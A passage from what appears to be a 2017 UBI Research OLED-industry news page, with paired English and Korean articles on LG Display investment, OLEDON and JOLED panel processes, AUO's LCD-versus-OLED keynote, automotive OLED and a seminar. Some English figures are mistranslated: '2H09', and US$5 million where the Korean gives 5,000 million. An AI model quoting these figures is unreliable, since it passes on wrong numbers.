Subsequently, he introduced the wallpaper and CSO (crystal sound OLED) which attracted lots of attention in last CES 2017, “If the existing OLED TV is an image quality-oriented, the current OLED TV goes through any areas such as the design, sound quality but also the image quality. Especially, the embedded speaker methods are able to realize the high level of immersion, by agreeing the position of the mouth and the sound along with the effect of design advancement.”

A director, Soo-young, Yoon, also introduced the transparent flexible OLED which can implements the radius of curvature 80R, 40% penetration ratio, and 77-inch UHD, that developed for the commercialization, and mentioned that the transparent and flexible display will be a future display. He also said that they are on-going to develop the devices and materials for solution process, and it needs to be discovered the new application and new form factor.

Finally, he mentioned the P10 factory at Paju, “We expect to ultimately produce new OLED TV at P10 factory which plans to be completed by the end of this year through thorough preparation.”

 

유비리서치 상반기 결산세미나 “OLED 시장 분석과 최신기술 세미나” 개최(2017.06.30 전경련회관)

■ 17년 상반기 OLED 산업에서의 기술적 이슈와 시장을 종합적으로 되짚어보는 자리 마련

■ 상반기 이슈 분석을 통한 하반기 시장 전망과 변화 포인트 예측

유비리서치에서는 2017년 상반기 OLED 시장 이슈 결산 및 2017년 하반기 시장 전망과 변화 포인트를 예측 할 수 있는 상반기 결산 세미나: OLED 시장 분석과 최신기술 세미나를 오는 6월 30일(금) 여의도 전경련회관 컨퍼런스 센터에서 개최한다.

“OLED 시장 분석과 최신기술”이라는 주제로 17년 상반기 OLED 산업에서의 기술적이슈와 시장을 종합적으로 전망 분석한다. 또한 상반기 이슈 분석을 통한 하반기 OLED 시장 전망과 변화 포인트를 예측 할 수 있을 것으로 예상된다.

이번 세미나에서는 차세대 OLED 기술로 각광받고 있는 TADF OLED, Soluble OLED, Flexible OLED 기술 개발 현황과 전망에 대해 관련분야 핵심 전문가분들을 모시고 집중적으로 소개될 예정이다. OLED 최신기술을 살펴보고 OLED 미래 기술이 어떻게 전개될 것인지 미리 확인 할 수 있는 자리가 될 것이다.

OLED 전문 리서치회사, 유비산업리서치의 이충훈 대표 ▲2017년 상반기 OLED 산업 투자와 양산 상황 분석을 통한 시장 실적예상과 동부증권 권성률 팀장 ▲디스플레이 새로운 패러다임 ‘OLED’이라는 주제로 미래 디스플레이 산업을 집중적으로 분석할 계획이다. 더불어, 성균관대학교 이준엽 교수 ▲TADF OLED 발광재료 최근 동향, 한양대학교 김재훈 교수 ▲OLED발광효율 향상을 위한 새로운 접근방법, 부산대학교 진성호 교수 ▲Development of Highly Efficient Multi-Functional Emitting Materials for Organic Light-Emitting Diode Application, 한양대학교 이기용 교수 ▲플랙서블 디스플레이 기술개발 동향 및 도전과제, OLEDON/단국대학교 황창훈 교수 ▲Plane Source Evaporation for Very High ppi AMOLED. It is time to challenge라는 주제로 디스플레이 산업이 보다 성장하기 위한 최신 기술 이슈와 발전 방향에 대해 발표할 예정이다.

이번 세미나에서는 전체적인 OLED 산업, 투자 관점, 경제 관점에서 종합적으로 시장과 기술을 전망할 수 있는 자리로 국내 핵심 전문가와 함께 다양한 양질의 정보와 인맥 교류의 장이 형성되고 디스플레이 기술의 현황과 미래를 전망할 수 있는 자리가 될 것으로 예상된다

UBI Research holds the 1H Semester Seminar “OLED Market Analysis and Latest Technology Seminar (June 30, 2017 Federation of Korean Industries Head Office Building)

■ 2017 1H general review of the technical issues and the market of OLED industry.

■ 2H09 market outlook and change point forecast through 1H issue analysis.

UBI Research will hold the 1H semester seminar: OLED market analysis and latest technology seminar which will be able to forecast OLED market issues in the first half of 2017 and predict market outlook and change points in 2H07 on June 30 (Fri) at Yeouido FKI Conference Center.

It will be analyzed the technical issues and market in the OLED industry in the first half of the 17th year under the theme of “OLED Market Analysis and Latest Technologies”. In addition, it seems to forecast the 2H OLED market and change points for 2H through 1H issue analysis.

In this seminar, technology development status and prospects of TADF OLED, Soluble OLED, and Flexible OLED technology that are emerging as next generation OLED technology will be intensively introduced with the key experts in related fields. It will be a place to look at the latest OLED technologies and to see in advance how OLED future technologies will evolve.

▲ Market forecasts by analyzing OLED industry investment and mass production in the first half of 2017(Lee Choong-Hoon, representative of UBI Research), ▲ A new display paradigm ‘OLED'(Kwon Seong-Ryul, team leader of Dongbu Securities), will intensively analyze future display industry with the theme. ▲ Recent trends of TADF OLED luminescent materials(Prof Lee Jun-Yeob of Sungkyunkwan University), ▲ A New approach to improve OLED luminescence efficiency(Prof. Kim Jae-Hoon, Hanyang University), ▲ Development of Highly Efficient Multi-Functional Emitting Materials for Organic Light-Emitting Diode Application(Prof Jin Sung-Ho of Pusan National University), ▲ Flexible Display Technology Development Trends and Challenges(Prof. Lee Ki-Yong, Hanyang University), ▲Plane Source Evaporation for Very High ppi AMOLED (OLEDON/Prof. Hwang Chang-Hoon of Dankook University). With the theme of ‘It is time to challenge’ he will present the latest technology issues and directions for further growth of the display industry.

In this seminar, we will take a comprehensive view of the market and technology from the overall OLED industry, investment perspective, and economic perspective, it is expected to be a place where various high-quality information and networking exchanges will be formed along with domestic core experts, and the status and future of display technology can be forecasted.

OLEDON with Dankook University succeeding in developing next-generation ultra high resolution patterning deposition technology

Chin Byung-Doo, professor at Dankook University and Hwang Chang-Hoon, professor at Dankook University and CEO of OLEDON announced that they have succeeded in developing evaporation pattern deposition technology which can realize 0.38um shadow distance (SD) at SID 2017.

Mr. Hwang, CEO of OLEDON announced at 2016 IMID Business forum that he succeeded in implementing plane source evaporation and 1.1um shadow distance with 100um-thick shadow mask. At that time, Mr. Hwang said, ‘If we reduce the step height to 3μm, theoretically, we can implement the shadow distance down to 0.38 um, so the OLED panel resolution will be possibly more than 2250ppi.’

At the SID 2017, OLEDON’s solid result of implementing SD 0.38um in application of actual plane source drew great attention from people in relevant industries regarding the possibility of mass production.

Current OLED panel production technology has the limits on implementing the resolution higher than QHD (about 600ppi) for about 3 um thick shadow which causes overlapping micro patterns in the UHD (over 800ppi) AMOLED patterning process to degrade the fine pattern density. Consequently, OLED panels are produced only at QHD level.

If OLEDON’s surface source patterning deposition technology is applied to mass production, the shadow distance can be reduced to 0.38 ~ 0.56um, which can improve the resolution about 8 times higher. In addition, if scale-up development is applied to a large size OLED display production in the future, it is possible to manufacture a micro AMOLED device equipped with super ultra resolution (SUHD) resolution higher than 3300ppi.

 

<Shadow data from the surface source deposition technology>

 

 

Hwang Chang-hoon, CEO of OLEDON said, ‘using the idea of primarily evaporating the organic material and its deposition on the metal surface in the vacuum environment to form organic molecular film and re-evaporate it for the second coating deposition, we have found a condition to minimize the evaporation angle of the organic molecular beam. ”

 

<The principle of film source presented by Mr. Hwan at the SID>

 

With the recent focus on display resolution, OLEDON’s research results are expected to bring significant impact on the relevant industry.

Meanwhile, Prof. Hwang Chang-hoon has been developing new deposition technology for 25 years via a deposition specialist company. He holds the original patent of surface source deposition technology (Linear organic device mass production equipment with top-down thermal induction deposition: Registration No. 101206162000).

[SID 2017] OLEDON, 단국대학교와 공동으로 차세대 초고해상도 패터닝 증착기술 개발 성공

OLEDON

지난 SID 2017에서 단국대학교의 진병두 교수와 단국대학교 겸임 교수이자 OLEDON의 대표인 황창훈 박사는 0.38 um의 shadow distance(SD) 구현이 가능한 면소스 패터닝 증착 기술 개발에 성공했다고 발표했다.

황창훈 대표는 과거 2016 IMID Business forum에서 면소스 패터닝 증착 기술과 100 um두께의 shadow mask로 1.1 um의 shadow distance 구현에 성공했다고 발표한 바 있다. 당시 황창훈 대표는 ‘Step height를 3 um까지 줄인다면 이론상 shadow distance를 0.38 um까지 구현할 수 있어 OLED panel의 해상도는 2250ppi이상 가능해질 것이다’고 설명한 바 있다.

이 발표는 실제 plane source를 적용하여 SD를 0.38um까지 구현한 실질적인 결과이므로, 양산 적용 가능성을 한층 높인다는 점에서 이번 SID 2017에 참석한 업계 관계자들의 큰 관심을 모았다.

현재의 OLED panel 양산 기술은 약 3 um의 shadow로 인해 QHD(약 600ppi) 이상의 해상도를 구현하는데 한계가 있다. 3 um shadow는 UHD급(800ppi이상) AMOLED 패터닝 공정 시, 미세 인접 패턴들의 중첩을 발생시켜 미세패턴밀도를 향상을 저하시킨다. 이로 인해 현재 OLED panel은 QHD급만 생산되고 있다.

OLEDON이 개발한 면소스 패터닝 증착기술이 양산에 적용된다면 shadow 거리를 0.38~0.56 um까지 줄일 수 있어 해상도를 기존보다 약 8배 향상할 수 있다. 또한, 향후 스케일업 개발을 통해 대면적 OLED 디스플레이 생산산업에 응용된다면 3300ppi 이상의 초고해상도를 가지는, 수퍼울트라(SUHD) 해상도를 가지는 마이크로 AMOLED소자의 제조가 가능하다.

 

<면소스 증착기술로 얻은 세도우 데이터>

 

황창훈 대표는 ‘고 진공환경에서 금속면에 유기물을 1차 증발, 증착하여 유기분자박막을 형성한 후, 이를 재 증발하여 기판에 2차 코팅 증착하는 아이디어를 활용하여 유기물 분자빔의 증발각을 최소화하는 조건을 발견하게 되었다’라고 밝혔다.

 

<SID2017에서 황창훈 대표가 발표한 면소스의 원리>

 

최근 디스플레이의 해상도에 대해 많은 관심이 집중되고 있어, OLEDON의 연구결과는 업계에 큰 파장을 불러올 것으로 전망된다.

한편, 황창훈교수는 증착기 전문 업체를 거쳐 25년동안 신개념의 증착기술을 개발해오고 있으며, 면소스 증착기술의 원천특허(하향식 열적유도 증착에 의한 선형의 유기소자 양산장비: 등록번호 101206162000)를 보유하고 있다.

JOLED, Production of 21.6 inch OLED by the world’s first inkjet printing process

JOLED announced on last 17th that it developed the world’s first 21.6 inch 4K OLED panel with RGB inkjet printing process and shipped the prototype from April.

Developed by JOLED’s RGB inkjet printing process, the thickness of the panel is 1.3mm, weighs 500g, brightness is 350cd/m2, and contrast ratio is 1,000,000: 1. According to JOLED, this panel was applied to medical monitors.

<21.6 inch OLED and its specifications developed by JOLED, source: JOLED>

 

JOLED said ‘Ink-jet printing is a technology for printing by applying a light emitting material, which the production process is simple and easy to expand to diverse screen size, so it has been put into practical use. The top emission, viewing angle and color reproducibility of OLED panels will be improved.’

 

In addition, JOLED has announced its plans for the future ‘to expand its inkjet printing-type small and medium-sized OLED applications (such as gaming monitors, automotive applications, etc.) or suppliers continuously.’

JOLED is a company established by INCJ, JDI, Sony and Panasonic, and is actively developing inkjet printing process. Among the panel makers, JOLED is the only company that has released a product developed by inkjet printing process in 2016.

 

<55inch 4K flexible AMOLED panel unveiled by JOLED in 2016>

 

According to Ubi research’s ‘ Market Entry Analysis for Solution Process OLED -The Possibilities and Opportunities‘, ink-jet printing is one of the process methods of the solution process, in which the ink-jet head is used to drop ink onto each pixel. Major panel makers are developing a solution process using this process, and JOLED is expected to take a lead in the future.

The solution process is capable of realizing large-area OLED panel with RGB pixel structure in Gen8 and above, has high material utilization efficiency, and is developed as a simple layer, which is advantageous in cost reduction in mass production success.

Meanwhile, Lee Choong-hoon, CEO of UBI Research, said, “Although the large-area OLED market is targeting the premium market with the WRGB method, the solution process will be the core technology since low-cost and high-production technology is key to replacing LCDs with OLEDs.”

[SID 2017] Premium TV market, LCD vs OLED war re-ignition

In the premium TV market in 2017 OLEDs seemed to catch up early with LG Electronics’ OLED TV sales volume growth and Sony’s OLED TV market gains. However, with the announcement of AUO, Taiwan’s leading LCD maker, that LCDs are more advantageous in the premium TV market than OLEDs, once again, competition between OLED TVs and LCD TVs is expected to intensify.

In the keynote session of SID 2017 held in Los Angeles, USA from May 22, AUO CEO Paul Peng made a presentation with the theme of “The warring states of display technologies” that LCDs would continue to outperform OLEDs in the premium TV market.

Paul Peng has three major claims that LCD is more dominant.

First is the performance that LCD is superior to OLED in terms of maximum size, peak brightness, ambient contrast ratio, color gamut, image sticking, and lifetime.

Second is the cost. In the black Friday in 2016, 65-inch HDR 4K narrow bezel LCD TV was US $ 1,099, while OLED was more than double with US $ 2,800.

Lastly, eco friendly. The industrial water used in the manufacturing process is used more for OLED manufacturing than LCD, and the power consumption of OLED is about twice that of LCD. The replacement cycle is 2 to 4 years for OLED, but LCD is 5 to 8 years which is more than twice as high as LCD, so is more environmentally friendly than OLED.

Since the launch of OLED TVs, there has been intense competition between LCD and OLED camps, but OLED market share continues to rise in the premium mobile market, and even in the premium TV market OLED seemed to be ahead of LCD. However, with AUO’s announcement in the keynote of SID 2017, the world’s largest display society, it is expected to intensify the fierce battle between OLED and LCD in the display industry.

  

 

JOLED, 세계 최초 잉크젯 프린팅 방식으로 21.6 inch OLED 생산

JOLED

JOLED는 RGB 잉크젯 프린팅 방식으로는 세계 최초로 21.6 inch 4K OLED 패널을 개발하고, 해당 시제품을 4월부터 출하했다고 지난 17일 밝혔다.

JOLED가 RGB 잉크젯 프린팅 방식으로 개발한 패널의 두께는 1.3mm이며, 무게 500g, 밝기 350cd/m2, 명암비는 1,000,000:1 수준이다. JOLED에 따르면 이 패널은 의료용 모니터에 적용됐다.

<JOLED가 개발한 21.6 inch OLED와 세부 스펙, 출처: JOLED>

 

JOLED는 ‘잉크젯 프린팅은 발광재료를 인쇄(도포)하여 형성하는 기술로써 생산공정이 단순하고 다양한 화면 크기로 확장이 용이하기 때문에 실용화에 앞장섰다’며, ‘OLED 패널의 광 추출 효율(top emission)과 시야각, 색 재현성을 향상 시킬 예정이다’고 말했다.

또한, JOLED는 ‘잉크젯 프린팅 방식의 중소형 OLED의 적용분야(게임용 모니터, 자동차 탑재 용도 등) 또는 공급처를 지속적을 확대할 것’이라며 앞으로의 계획을 밝혔다.

JOLED는 일본 민관 펀드인 산업혁신기구(INCJ)와 JDI, Sony, Panasonic 4개사가 설립한 회사로 잉크젯 프린팅 방식에 대해 적극적으로 개발하고 있으며, 패널 업체 중 유일하게 2016년 잉크젯 프린팅 방식으로 개발된 제품을 공개한 바 있다.

 

<JOLED가 2016년에 공개한 55inch 4K flexible AMOLED panel>

 

유비리서치의 ‘Solution process OLED 시장 진입가능성 분석 보고서’에 따르면 잉크젯 프린팅은 solution process의 공정 방법 중 하나로 ink-jet head를 이용하여 pixel 각각에 잉크를 떨어뜨리는 방식이다. 주요 패널 업체에서는 이러한 공정 방법으로 solution process를 개발하고 있어, 향후 JOLED의 행보에 귀추가 주목된다.

Solution process는 Gen8이상 원장에서 RGB pixel 구조의 대면적 OLED panel 구현이 가능하고, 재료사용효율이 높고 단순한 layer로 개발되고 있어 양산 성공 시 원가절감이 가능한 장점이 있다.

한편, 유비리서치의 이충훈 대표는 ‘대면적 OLED 시장은 WRGB 방식으로 프리미엄시장 공략의 전략을 펼치고 있지만, 추후 LCD를 OLED로 대체하기 위해서는 저비용/고생산 기술이 핵심이기 때문에 solution process가 OLED의 핵심 기술이 될 것’이라 말한 바 있다.

[SID 2017] 프리미엄 TV 시장, LCD vs OLED 전쟁 재점화

2017년 프리미엄 TV 시장은 LG전자의 OLED TV 판매량 증가와 Sony의 OLED TV 시장 가세로 OLED가 초반 기선을 잡는 모양세 였다. 하지만 대표적인 LCD 제조업체인 대만의 AUO에서 프리미엄 TV 시장에서 LCD가 OLED보다 프리미엄 TV 시장에서 유리하다 라는 발표로 다시한번 OLED TV와 LCD TV간의 시장 점유 경쟁이 치열해질 전망이다.

5월 22일부터 미국 LA에서 개최중인 SID 2017의 키노트 세션에서 AUO의 CEO인 Paul Peng는 “The warring states era of display technologies”라는 주제로 프리미엄 TV 시장에서 LCD가 OLED보다 지속적으로 더 우세할 것이다 라는 내용을 발표했다.

Paul Peng는 LCD가 더 우세하다며 내세운 주장은 크게 3가지이다.

첫째는 성능으로 LCD가 maximum size와 peak brightness, ambient contrast ratio, color gamut, image sticking, lifetime 면에서 모두 OLED보다 우세하다고 밝혔다.

둘째는 cost로, 2016년 black friday에서 65inch HDR 4K 기준 narrow bezel LCD TV는 US$ 1,099였지만 OLED는 2배이상 높은 US$ 2,800 이라는 점을 들었다.

마지막으로는 eco friendly이다. 제조공정에서 사용되는 공업용수가 LCD 보다 OLED 제조에 더 많이 사용된다는 점과 OLED의 소비전력이 LCD의 약 2배가량 높다는 점, 교체주기가 OLED는 2~4년이지만 LCD는 5년에서 8년으로 2배가량 높아 LCD가 OLED보다 친환경적인 제품이라는 것을 강조했다.

OLED TV가 출시된 이후 LCD와 OLED 진영 간의 치열한 다툼이 있었으나 프리미엄 모바일 시장에서는 OLED의 점유율이 지속적으로 높아지고 있으며 프리미엄 TV 시장에서도 LCD보다 한발 앞서 나가는 분위기였다. 하지만 SID 2017이라는 세계 최대의 디스플레이 학회의 키노트에서 AUO의 이와 같은 발표로 디스플레이 업계에서 OLED와 LCD 진영 간의 치열한 전쟁이 더욱 심화될 것으로 예상된다.

 

International TADF Workshop 개최

<출처 : 2nd International TADF Workshop>

 

 

1세대 형광재료 기술과 2세대 인광재료 기술을 잇는 3세대 발광재료 기술인 지연형광 (TADF, Thermally Activated Delayed Fluorescence) 기술에 대한 International Workshop이 2017년 7월 19~21일 Kyushu대학에서 개최된다.

브라운관을 대체하여 현재 디스플레이 시장의 주력 제품으로 자리 잡은 LCD를 완전히 시장에서 밀어내기 위해서는 중저가 제품에도 사용될 수 있는 고효율의 저비용 OLED가 반드시 필요하다. 고효율과 저비용을 동시에 해결하기 위한 솔루션이 지연형광 재료 상용화에 달려 있다.

현재 생산되고 있는 발광재료는 적색과 녹색, 청색 호스트 재료와 각 색의 도판트 재료로 구분된다. 그리고 이들 재료 중에서 적색과 녹색은 내부 효율이 이론적으로 100%인 인광 재료를 사용하지만 청색 재료는 내부 효율이 25%에 불과한 형광재료를 아직 사용하고 있다. 청색 재료 효율 한계 때문에 TV용 대형 OLED 패널은 청색층이 2회 적층되는 구조를 가지고 있어 재료비가 매우 많이 소요된다.

현재의 OLED 발광재료가 가진 한계를 극복하기 위해 개발되고 있는 재료가 바로 TADF이다.

TADF 기술을 최초로 세상에 나오게 한 Kyushu 대학의 Adachi 교수가 회장을 맡고 있는 International TADF Workshop에는 전세계 3세대 OLED 발광재료 개발 전문가들이 모인다.  Adachi 교수는 Kyushu대학에서 2012년에 처음으로 TADF 논문을 발표하고 난 후 3년만인 2015년에는 전세계에 약120편이 발표되었으며 2016년에는 200편 이상의 논문이 나오고 있어 전세계에서 TADF에 관한 관심이 점점 뜨거워지고 있음을 시사했다.

Adachi교수는 이번 TADF Workshop 개최 의미는 현재 TADF의 도달점과 향후 어떻게 개발이 진행될지에 대해 전문가들과 토론하기 위함이라고 밝혔다.

Fraunhofer FEP, OLED 마이크로 디스플레이를 이용한 고정밀 광학 지문 센서 개발 성공

Fraunhofer FEP는 지난 5월 4일 보도자료를 통해 OLED 마이크로 디스플레이를 이용한 고정밀 광학 지문 센서 개발에 성공하였다고 밝혔다. Fraunhofer FEP는 OLED-on-silicon 기술을 기반으로 다양한 용도에 적용할 수 있는 OLED 마이크로 디스플레이를 개발해 온 회사로, OLED-on-silicon 기술은 마이크로 칩에 OLED를 광원으로 하여 고정밀도로 설계가 가능하며, 포토 다이오드와 같은 추가적인 센서와 함께 통합이 가능하다.

이번에 Fraunhofer FEP가 개발한 지문 센서는 빛을 방출하고 탐지하는 양방향 기능(bidirectional functionality)을 사용하여, 손가락을 비추고 반사 된 빛을 감지하고 분석하는 방식이다.

Fraunhofer FEP의 OLED 마이크로 디스플레이와 센서 부서 차장인 Bernd Richter는 “이 지문 센서 칩에는 매우 얇은 봉지층을 적용하였다”며, “손가락과 이미지 센서 사이의 거리가 최소화되고 지문을 잘 캡쳐 할 수 있어, 이 응용 분야에는 추가적인 imaging optic이 필요하지 않다”고 말했다.

첫 번째 프로토 타입은 FBI에서 일반적으로 요구하는 해상도보다 3배 뛰어난 1600dpi의 기본 해상도를 가지고 있다. 이 높은 공간 분해능은 매우 작은 땀 구멍 까지 식별이 가능하여 보안을 강화하는 데 사용될 것으로 기대를 모으고 있다.

이 지문 센서는 일반적으로 사용 되는 정전용량식 지문 센서와 비교하여 높은 해상도로 식별이 가능하기 때문에, 소위 ‘spoofing’이라 불리는 거짓 지문에 덜 취약하여 모바일 장치에서 사용자 확인에 사용 될 것으로 전망된다. 또한, 브랜딩이나 로고, 알림을 표시하는 디스플레이에도 사용 될 것으로 전망된다.

Fraunhofer FEP가 개발한 이 지문센서는 이번 미국 LA에서 개최되는 SID Display Week 2017에서 공개 될 예정이다.

 

<고해상도 OLED-on-silicon 지문 센서, Source: Fraunhofer FEP>

LG Display, 70% of facility investment focused on large-sized OLED and POLED in this year

 

LG Display announced that it will concentrate 70% of CAPEX(investment cost for future profits) on large-sized OLED and POLED, and among them, the proportion of POLED will be higher than that of large OLED through the 2017 Q1 conference call held on April 26.

Kim, Sang Don, CFO of LG Display said “The specific size and timing of the investment is under review, but investing more than 70% of the investment in OLED remains unchanged.” Also revealed LG Display’s future investment direction by adding “Since OLED investment costs are high, we will deeply examine the confidence of our customers and the certainty of market demand, and will invest in a conservative position.”

LG Display said it will continue to secure LTPS-LCD competitiveness. Kim, Sang Don, CFO said ”We plan to switch the Gumi E5 line to POLED instead of LTPS-LCD in the second half of this year, but we think there still is demand for LTPS-LCD and opportunity for high-resolution smartphone manufacturing.”

For the LG Display’s plan for OLED Lighting business and OLED panel shipment, mentioned “OLED lighting will be produced about 15,000 sheets in the second half of 2017, and POLED will be mass-produced in Gumi E5 at the end of 2Q 2017.

For a plan for OLED TV production expansion, said “The reaction for OLED wall paper TV and Crystal Sound OLED released at CES 2017 in January this year, is better than expected in the TV market.” and mentioned “We expect OLED TV shipments to reach 300,000 units in 1Q and 500,000 units level in each quarter of the second half of this year.”

The forecast for ultra-large TV market in 2017, it is forecasted “LG OLED TV occupies an overwhelming share in ultra-large OLED TVs of 60 inches and above, and the ultra-large TV market is expected to grow continuously and record more than 30% of growth rate in the future.”

For the LG Display’s counterplan forward for the Chinese panel makers’ LCD technology, mentioned “Until 2020, it is concerned that the Chinese LCD panel makers are expected to improve their LCD technology and invest in Gen 10, however, LG Display’s IPS technology, consistent quality of mass production and stable supply chain are enough to overcome.”

Meanwhile, said that the sale proportion by product based on LG Display’s sales amount in Q1 this year were 43% for TV panels, 26% for mobile panels, 16% for notebooks and tablets, and 15% for monitors. Also, quarterly operating profit reached a record profit of 1.269 trillion won through continuous overall price increase trend of panel and the mix operation of profit-oriented products of high-resolution, high-end IT products and etc.

LG Display, 올해 설비 투자금의 70%을 대형 OLED와 POLED에 집중

LG Display

 

LG Display는 4월 26일 진행된 2017년 1분기 컨퍼런스콜을 통해 케펙스(CAPEX, 미래이윤창출 목적의 투자비용)의 70%을 대형 OLED과 POLED에 집중할 것이며 이 중 대형 OLED보다는 POLED의 비중이 더 높을 것이라 밝혔다.

김상돈 LG Display CFO는 “구체적인 투자 규모나 시기는 내부적으로 검토 중이지만, 투자의 70% 이상을 OLED에 투자하는 것은 변함없다”고 말했다. 또한 “OLED 투자 비용이 큰 편이므로 고객사의 확신과 시장 수요 확실성 등을 깊게 살펴보고 보수적인 입장에서 투자를 집행하겠다”며 앞으로의 LG Display의 투자방향성을 밝혔다.

LG Display는 LTPS-LCD의 경쟁력 확보도 지속할 것이라 말했다. 김상돈 CFO는 ”올해 하반기 구미 E5 라인을 LTPS-LCD 대신 POLED로 전환할 계획이지만, 여전히 LTPS-LCD 수요가 존재하며 고해상도 스마트폰 제조 등의 기회가 있다고 생각한다”고 말했다.

LG Display의 OLED 조명 사업과 OLED 패널 출하량 계획으로 “OLED 조명은 2017년 하반기에 약 1만 5000장을 양산할 예정이며, POLED는 2017년 2분기 말에 구미 E5에서 양산될 예정”이라 말했다.

OLED TV 생산 확대 계획으로는 “올해 1월 CES 2017에서 공개한 OLED Wall paper TV와 Crystal Sound OLED가 TV 시장에서 반응이 기대 이상으로 좋다”면서 “1분기 OLED TV 출하량이 30만대, 하반기에는 각 분기별로 50만대 수준으로 출하할 것”이라 밝혔다.

2017년 초대형 TV 시장 전망에는 “LG OLED TV는 60인치 이상 초대형 OLED TV 분야에서 압도적인 점유율을 차지하고 있으며, 초대형 TV 시장은 앞으로 지속적으로 성장해 시장점유율 30% 이상을 확보할 것”으로 전망했다.

중국 패널 업체들의 LCD 기술력과 향후 LG Display의 대응방안으로 “2020년까지는 중국 패널업체의 LCD 기술력이 향상되고 Gen 10 투자 등의 우려가 있지만, LG Display만의 IPS 기술력과 안정된 양산 품질, 안정적인 서플라이 체인 등으로 충분히 극복이 가능하다”고 말했다.

한편 LG Display의 올해 1분기 매출액 기준으로 제품별 판매 비중은 TV용 패널이 43%, 모바일 패널이 26%, 노트북ㆍ태블릿용 패널이 16%, 모니터용 패널이 15%를 차지했다. 또한 전반적인 패널의 가격 상승과 더불어 고해상도, 하이엔드 IT 제품 등 수익성 중심 제품을 다양하게 판매하여 분기별 영업이익은 1조 269억원으로 사상 최대 기록을 달성하였다고 밝혔다.

Automaker’s fierce competition for pre-occupying OLED for automobiles

automakers

In 2017, automakers are fiercely competing to pre-occupy OLED displays and lighting for automobiles. OLED display has good visibility and possible to design a curved surface, so it has advantages of design differentiation. Lighting is not irritating to the eyes and the surface emission is possible so that the frequency of adoption of OLED is expected to increase even more.

HYUNDAI Mobis actively promoted curved OLED for brand differentiation at 2017 Seoul Motor Show held in Ilsan KINTEX from March 31 to April 9. HYUNDAI Mobis official said “the display has a 12.3-inch flexible OLED with advantages of true black and fast response at all temperatures” also revealed “this product is under development for mass production in 2020 for cluster or CID”.

<Curved OLED Display unveiled by HYUNDAI Mobis>

British automaker Bentley also introduced the key features of the ‘EXP 12 Speed 6e’, a pure electric concept car at the Geneva Motor Show in Switzerland on March 9, and announced that it would be equipped with a high-quality OLED display near the CID. Bentley official said “a curved glass OLED screen is applied near CID, it allows the occupants to operate navigation and to control the temperature freely,” in addition, “Access to social media, e-mail and entertainment will be easy”.

 

<OLED Display used near CID of EXP 12 Speed 6e, Source: Bentleymotos.com>

In addition, Audi Japan announced on March 28 that it decided to officially launch a small sports car “TT” applied an OLED tail lamp on some motels from mid of May. This is the first time that Audi has applied OLED tail lamps to mass-produced vehicles, allowed it to be optionally mounted on TT’s top models, the TT RS Coupe and TT RS Roadster. According to Audi Japan corporate, the option price is about 120,000 yen. The tail lamps commercialized by Audi this time are made up of 4 OLED panels and are known to have thicknesses of 1 to 2 mm per panel. Total 4 light-emitting areas are 49cm2 and brightness is 1000cd/m2, and German OSRAM supplies OLED panel.

 

<OLED rear lamp used for TT, Source: Audi.co.jp>

As such, the number of cars using OLED displays and lighting is increasing. According to “2017 Automotive Display Report – Application & Market Trend Analysis and The Market Forecast” published by UBI Research, market research company, demand for displays for automobiles is projected to grow at a CAGR(compound annual growth rate) of 17% from 2017 to 2022, reaching US $ 25,000 million by 2022. Also, OLED displays for automobiles are expected to grow rapidly from 2018 to 2022, reaching US $ 5 million in 2022, accounting for about 20% of the total automotive display market.

Hyun Jun Jang, senior researcher of UBI Research, mentioned that “OLED has the advantage of providing various convenience to the driver such as infinite contrast ratio and fast response speed above all, it can be applied in various forms inside and outside the car based on the flexibility so that it can be a great merit for premium cars that emphasize design and differentiation.”

완성차 업체의 자동차용 OLED 선점 경쟁 치열

2017년 들어 완성차 업체에서 자동차용 OLED 디스플레이와 조명의 선점 경쟁이 치열하다. OLED display는 시인성이 좋고 곡면 디자인이 가능해 디자인 차별화의 장점이 있으며, 조명은 눈에 자극적이지 않고 면 발광이 가능하기 때문에 OLED의 채용 빈도는 더욱 더 증가할 것으로 보인다.

 
HYUNDAI Mobis는 지난 3월 31일부터 4월 9일까지 일산 KINTEX에서 열린 2017 서울모터쇼에서 브랜드 차별화를 위해 curved OLED 디스플레이를 적극적으로 홍보하였다. HYUNDAI Mobis 관계자는 “해당 디스플레이는 12.3인치 flexible OLED가 적용 되었으며 트루 블랙과 모든 온도에서 고속 응답이 가능하다”고 말하며, “이 제품은 cluster 혹은 CID용으로 2020년에 양산을 목표로 개발 중”이라 밝혔다.

 

<HYUNDAI Mobis가 공개한 curved OLED 디스플레이>

 

영국의 자동차 업체인 Bentley도 현지 시간으로 지난 3월 9일 스위스 제네바 모터쇼에서 순수 전기 컨셉카인 ‘EXP 12 Speed 6e’의 주요 특징을 소개하며, CID 부근에 고화질 OLED 디스플레이가 탑재 됨을 밝혔다. Bentley 관계자는 “CID 부근에 curved glass OLED 스크린이 적용 되었으며, 이를 통해 탑승자는 네비게이션 작동과 온도 조절이 자유롭다”며, “이 밖에도 소셜미디어와 이메일, 엔터테인먼트에 쉽게 접근 할 수 있을 것”이라 말했다.

<EXP 12 Speed 6e의 CID 부근에 사용 된 OLED 디스플레이, Source: Bentleymotos.com>

 

이 밖에도, Audi Japan은 지난 3월 28일 일부 모델에 OLED 테일 램프 적용한 소형 스포츠카 ‘TT’를 5월 중순부터 공식적으로 발매하기로 결정하였다고 밝혔다. Audi가 양산 차량에 OLED 테일 램프를 적용하는 것은 이번이 처음이며, TT의 최상위 모델인 ‘TT RS Coupe와 TT RS Roadster’에 옵션으로 탑재 할 수 있게 했다. Audi의 일본 법인에 따르면 옵션 가격은 약 12 만엔 이라고 한다. 이번에 Audi가 상용화 한 테일 램프는 4개의 OLED 패널로 구성되며 패널 1장 당 두께는 1~2mm 정도로 알려져 있다. 총 4장의 발광 면적은 49cm2이며 밝기는 1000cd/m2로, 독일 OSRAM에서 OLED 패널을 공급한다.

<TT에 사용 된 OLED rear lamp, Source: Audi.co.jp>

 

이처럼 OLED display와 조명이 사용 된 자동차는 점점 증가하고 있다. 시장조사업체인 유비리서치에서 발간한 “2017 Automotive Display Report – Application & Market Trend Analysis and The Market Forecast”에 따르면, 자동차용 디스플레이의 수요는 2017년부터 2022년까지 연평균 성장률 17%로 성장하여 2022년에는 약 US$ 25,000 million 규모에 다다를 것으로 예상했다. 또한, 자동차용 OLED 디스플레이는 2018년부터 2022년까지 급속도로 성장하여 2022년 US$ 5,000 million 규모로서 전체 자동차용 디스플레이 시장의 약 20%를 차지할 것으로 전망했다.

 
